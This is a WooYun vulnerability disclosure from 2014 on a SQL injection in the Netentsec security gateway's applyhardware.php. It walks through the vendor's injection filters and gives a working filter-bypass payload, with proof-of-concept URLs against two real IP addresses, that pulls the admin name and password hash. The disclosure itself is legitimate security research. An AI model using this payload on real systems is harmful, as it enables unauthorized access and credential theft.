当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-077689

漏洞标题:网康安全网关SQL注入(绕过全局防注入)

相关厂商:网康科技

漏洞作者: secmap

提交时间:2014-10-08 09:56

修复时间:2015-01-06 09:58

公开时间:2015-01-06 09:58

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-10-08: 细节已通知厂商并且等待厂商处理中
2014-10-08: 厂商已经确认,细节仅向厂商公开
2014-10-11: 细节向第三方安全合作伙伴开放
2014-12-02: 细节向核心白帽子及相关领域专家公开
2014-12-12: 细节向普通白帽子公开
2014-12-22: 细节向实习白帽子公开
2015-01-06: 细节向公众公开

简要描述:

网康科技经过上一次的洗礼过后,整体的安全性有了很大的提高,(拍掌...)
其全局过滤函数非常变态,研究过后,最终还是发现了一处注入,绕过了变态的全局防注入。

详细说明:

0x01 先来看看全局过滤函数

//防注入函数
function inject_check($sql_str)
{
return preg_match( "/(select|insert|update|delete|drop|'|\/\*|\*|\.\.\/|\.\/|UNION|into|load_file|outfile)/i", $sql_str );
}


更变态的还有

function str_check($str)
{
if(strstr($str, ' '))
return false;
if(strstr($str, "'"))
return false;
if(strstr($str, '"'))
return false;
if(strstr($str, '/'))
return false;
if(strstr($str, '&'))
return false;
if(strstr($str, ';'))
return false;
if(strstr($str, '%'))
return false;
return true;
}


当检测到有这些符号、字符 直接调用exit()推出,有点变态。
0x02 下面来说这个注入是怎样产生的
漏洞的文件为
/WebPages/applyhardware.php
部分代码

include("include/common.inc");
session_start();
$para = $_SESSION['parastr'];
if(!str_check($action))
$action = "";
switch ($action)
{
case "":
redirect("/vpnweb/index.php?para=$para");
break;
case "applyhardware":
$dbh = db_connect();
$hard_user = urldecode($hard_user);
$hard_pass = urldecode($hard_pass);
if(!str_check($hard_user))
$hard_user = "";
if(!str_check($hard_pass))
$hard_pass = "";
$query = "select UserId from ISCUserTable where UserName='$hard_user' and Password='$hard_pass'";


其中 $hard_user 和 $hard_pass 两个参数,经过了str_check的检查,但两个参数均是通过urldecode解码后得到的 ,加上最后进入SQL查询的语句为:
select UserId from ISCUserTable where UserName='$hard_user' and Password='$hard_pass'
于是最终想到了结合两个参数,实现注入
0x03 对该注入的利用
通过对str_check函数的分析,我们提交的参数不能含有空格、单引号、双引号、斜线、分号等,最后通过无数次的测试,有了最终的利用代码:
hard_user=%255C&hard_pass=%0a%0dand%0a%0d1=(updatexml(1,concat(0x5e24,(select%0a%0dconcat(adminname,0x7e,passwd)%0a%0dfrom%0a%0dAdmin%0a%0dlimit%0a%0d1),0x5e24),1))%2523
0x04 漏洞证明
https://60.216.87.203//WebPages/applyhardware.php?action=applyhardware&hard_user=%255C&hard_pass=%0a%0dand%0a%0d1=(updatexml(1,concat(0x5e24,(select%0a%0dconcat(adminname,0x7e,passwd)%0a%0dfrom%0a%0dAdmin%0a%0dlimit%0a%0d1),0x5e24),1))%2523

11.jpg


https://115.24.177.57/WebPages/applyhardware.php?action=applyhardware&hard_user=%255C&hard_pass=%0a%0dand%0a%0d1=(updatexml(1,concat(0x5e24,(select%0a%0dconcat(adminname,0x7e,passwd)%0a%0dfrom%0a%0dAdmin%0a%0dlimit%0a%0d1),0x5e24),1))%2523

22.jpg

漏洞证明:

22.jpg

修复方案:

inject_check()函数过滤

版权声明:转载请注明来源 secmap@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:19

确认时间:2014-10-08 10:08

厂商回复:

感谢大家的支持,大家的支持是我们进步的动力。

最新状态:

暂无


漏洞评价:

评论

  1. 2014-09-29 13:08 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    鼓掌

  2. 2014-09-29 13:16 | pandas ( 普通白帽子 | Rank:585 漏洞数:58 | 国家一级保护动物)

    有渠道接触源码就是吊阿

  3. 2014-09-29 15:32 | 爱Gail ( 普通白帽子 | Rank:237 漏洞数:38 | 爱漏洞、爱编程、爱旅游、爱Gail)

  4. 2014-10-08 10:01 | Coody 认证白帽子 ( 核心白帽子 | Rank:1565 漏洞数:189 | 不接单、不黑产;如遇接单收徒、绝非本人所...)

    ...

  5. 2014-10-08 10:23 | 氓氓童鞋 ( 普通白帽子 | Rank:374 漏洞数:65 )

    @xsser 额。。。数据是不是回滚了。。。怎么赶脚前一阵子就已经提交过这个洞洞了。。。

  6. 2014-10-29 11:09 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    很给力啊

  7. 2015-02-16 21:09 | ToySweet ( 实习白帽子 | Rank:36 漏洞数:8 | 做有道德的安全研究员。)

    @xsser 哎呦